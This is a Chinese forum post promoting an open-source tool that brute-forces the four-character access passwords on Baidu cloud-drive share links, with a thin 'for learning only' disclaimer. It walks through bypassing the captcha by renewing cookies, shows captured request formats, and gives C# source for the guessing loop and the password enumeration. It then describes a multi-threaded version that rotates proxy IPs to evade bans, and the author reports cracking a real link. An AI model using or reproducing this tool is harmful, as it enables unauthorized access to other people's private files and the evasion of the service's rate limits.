Dnwz99
登陆 / 注册 搜索

USERCENTER

SEARCHSITE

搜索

热搜: 活动 交友 discuz
Dnwz99 首页 应用 查看内容

FuckBaiduPanPwd 一款真正可以破解百度云盘密码的工具

发布者: dnwz99|2018-10-29 09:25
22 0

FuckBaiduPanPwd

注:网络错误的说明IP已经暂时被百度和谐了(大概1-2W多),这个需要重练一下路由器换个IP就行了……这没办法啊……
关于复制的问题我这win10在窗口内按右键就自动粘贴了,其他的不清楚

参考本文请自觉注明来源,谢谢。
本帖所包含的内容仅限技术交流和学习使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!
众所周知,百度云盘分享有时候是需要密码的,然而又因为众所周知的原因部分地址你并没有密码……之前网上似乎有一款密码破解工具,然而是好几年前的古董了,早就不能用了,于是我便花了2个晚上自己分析并写了一款密码破解器,根据我的习惯,还是开源便于后人少走弯路。
下方高能,为防止恶心、头昏等事件的发生,小白和伸手党请直接找0x04谢谢。

0x00:试探
大家都知道,百度分享密码时4个字母数字的组合,总共36^4=1679616种可能,在密码破解方面是很少的,我们只需要穷举即可。
随便分享一个文件,试着输输密码,发现输错3次之后就会出现验证码,必须要绕过这个验证机制,否则一切都是白搭(你可以试试写ocr识别),由于我懒得下账号了所以用的是Chrome的隐身模式上的,发现关闭隐身窗口重开验证次数就会重置,说明这个次数是和cookie有关的,只要get到新的cookie,就可以绕过限制,而这在模拟提交时是很方便搞定的,所以理论上是可行的。

0x01:抓包分析
我们分享的地址pan.baidu.com/s/xxx会跳转到http://pan.baidu.com/share/init?shareid=xxx&uk=xxx上,我们只需研究后者即可。
首先抓GET的包,有用的就header中的set cookie(可能包含账户信息,部分数据经过处理):

[HTML] 纯文本查看 复制代码
1
2
Set-Cookie: PANWEB=1; expires=Fri, 27-Jul-2018 09:21:53 GMT; path=/; domain=pan.baidu.com
Set-Cookie: BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; expires=Fri, 27-Jul-18 09:21:53 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1


然后是POST的数据包格式(数据经过处理):

[HTML] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
POST [url=http://pan.baidu.com/share/verify?shareid=1234567860&uk=1234563646&t=1501147353341&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTE0NzM1MzM0NTAuMDU3ODQxNzA5MTY4OTU4OTI=]http://pan.baidu.com/share/verif ... DQxNzA5MTY4OTU4OTI=[/url] HTTP/1.1
Host: pan.baidu.com
Proxy-Connection: keep-alive
Content-Length: 26
Accept: */*
Origin: [url=http://pan.baidu.com]http://pan.baidu.com[/url]
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: [url=http://pan.baidu.com/share/init?shareid=1234567860&uk=1234563646]http://pan.baidu.com/share/init?shareid=1234567860&uk=1234563646[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PANWEB=1; BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; Hm_lvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318; Hm_lpvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318
 
pwd=1234&vcode=&vcode_str=


那个pwd就是我输入的密码了,返回值是下面几种:

[C++] 纯文本查看 复制代码
1
2
3
{"errno":-9,"err_msg":"","request_id":4817706520363686291}        //密码错误
{"errno":-62,"request_id":206026661042873124}                        //要验证码了
{"errno":0,"err_msg":"","request_id":4817740255807962253}        //密码正确



GET的数据我们只需要在处理时set一下cookie就可以了,不管它,重点看post的东西,提交的pwd已经知道是密码,vcode和vcode_str只有在验证码时才用到,关键就在那个Post的地址上,经过多次抓包比较发现有下面几个参数:

参数名备注
shareid和地址上的一样
uk和地址上的一样
t变化的值,看上去像是时间戳
bdstoken定值null
channel定值chunlei
clienttype定值0
web定值1
app_id某个定值
logid变化的值,看上去像是经过BASE64加密

我们只需要看t/app_id/logid就好了:
t:这个通过站长工具可以查到就是13位的unix时间戳,没啥特殊的
app_id:似乎是用户标识?每个用户应该是个定值
logid:BASE64解密后是两串数字,有点像时间戳但又不是
下面只能通过实验来验证了……

0x02:验证
这里我卡了好久,一开始怎么提交都是返回2,不过这个2是个什么东西?到处查资料,最终在这里找到了前人发的一个帖子http://tieba.baidu.com/p/4943984667,原来是参数错误,难道最后那两个东西还有检测么?这可咋办,后来发现Fidder post的时候是独立cookie的,自然会报错,只好写个小程序先get再post。
然后这个t直接用站长工具生成一个,然后另两个暂时不动,提交一个试试……嗯?返回-9?也就是通过了验证,返回密码错误了!
难道那两个没什么用么?app_id随便填一个试试,Logid就不变了,果然,也成功了!多试几次,每次新New一个httprequest,发现连试10次都返回-9,也就是说通过新建cookie绕过验证码的方法是成功的!下面就是破解器的编写了。

第二天
0x03:破解
由于要给大家用肯定不能用py写,一开始用c++和curl,然后Post后无论如何都抓不到前三次返回的包,但是3次失败之后的包倒是一抓一个准……不知道是我写错了还是什么诡异BUG……无奈只好换C#,由于不太熟悉C#的网络操作,到处找资料,调试花了很久……代码也得比较屎,将就着看吧……

[C#] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class crack
    {
        //URL格式必须严格为[url=http://pan.baidu.com/share/init?shareid=xxx&uk=xxx]http://pan.baidu.com/share/init?shareid=xxx&uk=xxx[/url]
        public void init(string url)
        {
            HttpGet(url);
            info = url.Replace("http://pan.baidu.com/share/init?", "");
        }
        //尝试密码,3次后请重新建立实例(否则会有验证码)
        public int trypwd(string pwd)
        {
//取得时间戳
            System.DateTime time = System.DateTime.Now;
            System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1, 0, 0, 0, 0));
            long ts = (time.Ticks - startTime.Ticks) / 10000;
            string data = HttpPost("http://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==", "pwd=" + pwd + "&vcode=&vcode_str=");
            if (data.Contains("\"errno\":-9")) return 0;
            else if (data.Contains("\"errno\":0")) return 1;
            else return -1;
        }
        private string HttpPost(string Url, string Data)
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                request.Referer = "http://pan.baidu.com/share/init?" + info;
                request.ContentLength = Encoding.UTF8.GetByteCount(Data);
                request.CookieContainer = cookie;
                Stream myRequestStream = request.GetRequestStream();
                byte[] postBytes = Encoding.UTF8.GetBytes(Data);
                myRequestStream.Write(postBytes, 0, postBytes.Length);
 
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                response.Cookies = cookie.GetCookies(response.ResponseUri);
                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
                string retString = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();
 
                return retString;
            }
            catch (System.Exception ex)
            {
                return "error";
            }
        }
        private string HttpGet(string Url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
            request.Method = "GET";
            request.ContentType = "text/html;charset=UTF-8";
            request.CookieContainer = cookie;
 
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream myResponseStream = response.GetResponseStream();
            StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
            string retString = myStreamReader.ReadToEnd();
            myStreamReader.Close();
            myResponseStream.Close();
 
            return retString;
        }
 
        private CookieContainer cookie = new CookieContainer();
        private string info;
    }


一开始我没有加request.Referer = "http://pan.baidu.com/share/init?" + info;这句,然后无限返回2参数错误,我只好再用wse抓包比较,经过尝试发现必须要加上这个referer才行,其他的有没有无所谓……我也是醉了……

不过既然要破解密码,当然要生成密码,考虑到效率问题不太想用密码字典,写了一个哈希类将密码和一个数字一一对应。其实也就是把密码看成36进制,然后转换为10进制,防止有前导零,方便起见在所有数字前面加了个1

[C#] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class hash
    {
        //哈希类 36进制
        //有效哈希[10000000,11679615]
        static public string Hash2Str(int hash)
        {
            string ret = "";
            hash -= 10000000;
            while (hash > 0)
            {
                ret += Hash2Char(hash % 36);
                hash /= 36;
            }
            if (ret.Length == 3) ret += "0";    //前导零
            if (ret.Length == 2) ret += "00";
            if (ret.Length == 1) ret += "000";
            if (ret.Length == 0) ret += "0000";
            return reverse(ret);
        }
        static public int Str2Hash(string str)
        {
            int ret = 0;
            ret += Char2Hash(str[0]) * 46656;
            ret += Char2Hash(str[1]) * 1296;
            ret += Char2Hash(str[2]) * 36;
            ret += Char2Hash(str[3]);
            ret += 10000000;    //防止前导零
            return ret;
        }
        static private int Char2Hash(char c)
        {
            if (c >= '0' && c <= '9') return c - '0';
            else return c - 'a' + 10;
        }
        static private char Hash2Char(int hash)
        {
            if (hash >= 0 && hash <= 9) return (char)('0' + hash);
            else return (char)('a' + hash - 10);
        }
        static private string reverse(string str)
        {
            char[] arr = str.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }


这样就可以用多线程平均划分任务了,又是查资料测试啥的花了好久搞定了……

0x04:成果
由于不太会c#的窗口程序,就用控制台的代替了,这样速度更快不是么:-D
 
使用说明:
目标网址是跳转的那个网址!切记!!
密码开始结束点:方便多电脑多开,每位数字0最小z最大(请用小写),比如电脑A跑0000-c000,电脑B跑c001-zzzz
不知道怎么计算的同学可以到http://tool.oschina.net/hexconvert/,第一个框选10进制,第二个框选36进制,然后密码序号就是从0~1679615,自己计算一下比如559872输到第一个框,第二个框计算出来就是c000,如果不足四位在前面补0就行了。
延时毫秒:发现短时间内爆1W+的话提交地址会暂时404你的IP,这时候会无限显示网络错误,推荐100~2000就行了
线程数:根据机器配置来,太多会卡速度的


这次是用的Python3写的,理论上可以扔到linux VPS上挂着(未测试)

开源协议

本软件基于GPL-3.0开源协议,简单来讲,如果您(部分)使用本软件的代码,您必须在分发软件时提供源代码(开源),对代码修改部分需要进行声明,修改后的软件也要使用GPL-3.0开源协议

Feature/升级

  • 多线程破解(UPDATE):新版单线程跑完后将会帮助其他线程工作,不会造成1线程有难,99线程围观的场景……
  • 随机尝试密码(NEW):这样做理论上可以提高效率。
  • 日志记录,断点续破(NEW):终于不怕断点断网了……
  • 支持分布式破解(UPDATE):可以生成不同的文件给不同的电脑同时破解,提高效率
  • 支持代理IP(指定文件名/API自动获取)(NEW):方便绕过ban ip
  • 失效代理自动切换(NEW):防止被失效ip卡住

软件使用

参数说明:

  • URL地址:保证格式为https://pan.baidu.com/share/init?xxx即可,如果不是请在浏览器打开看看会不会自动跳转。
  • 破解字典文件名:包含待尝试密码的文件名,文件格式一行一个密码,默认为目录下的allpwd.dic文件,可以使用superdic等软件生成
  • 忽略密码文件名:包含所有跳过的密码的文件名,文件格式一行一个密码,默认不忽略,程序已经尝试的密码默认记录在log.dic文件中
  • 延时毫秒数:每个线程每两次尝试延时毫秒(建议50-100)
  • 线程数:尝试线程数(根据配置建议200-500)
  • 代理IP文件名:包含所有代理IP的文件名,文件格式一行一个IP:ip:port,例如1.1.1.1:1111
  • 代理IPAPI地址:代理ip提供商的api地址,格式请选择txt,保证获取到的数据和代理IP文件名格式相同,建议一次获取数量不要太多以免失效
  • 切换IP频率:代理ip的切换频率,单位为秒(根据破解速度30s-480s之间,速度快就需要频繁切换ip)

日志文件

  • 程序默认日志文件为log.dic,内容为尝试失败的密码,格式和破解字典相同,可以直接用于之后程序的忽略密码文件名参数。写入方式为追加写入,不会对已有数据造成影响。
  • 找到的密码将会输出在屏幕上并且保存在password.ans文件中,使用文本编辑器打开即可看到。

关于代理IP和实战检验

这里再说一下,新版已经内置支持代理IP文件和提供商的API,前提是你能找到靠谱的代理提供商(据我测试发现国内市场鱼龙混杂,几十块以下的基本要看人品了),或者通过动态转发实现。

不过实战时我还是用的某款支持PPTP/L2TP等的类似VPN(国内线路)的软件,这样的好处是本工具不需要进行设置(代理那边空下来),然后在他提供的客户端上定时切换线路,虽然比较贵,但是速度很有保障。

实战检验大概用了7小时时间,尝试了133万多(总共167万多)的密码,随机尝试运气还是很背,每秒速度大概50多(考虑到切换IP之类的损耗,大概能达到60-70/S),成功破解出密码。(撒花)

截图

这是不用代理跑的,所以速度有点高,上了代理大概40-100浮动,平均60-70.


 

开源地址

GITHUB(求STAR XD):https://github.com/MXWXZ/FuckBaiduPanPwd
Release下载地址:https://github.com/MXWXZ/FuckBaiduPanPwd/releases
Win10x64测试通过,其他系统如果参照说明安装使用之后出现闪退等问题请安装python3环境使用。


鲜花

握手

雷人

路过

鸡蛋

最新评论

QQ|Archiver|手机版|小黑屋|Dnwz99  

GMT+8, 2018-11-18 12:11 , Processed in 3.062500 second(s), 25 queries .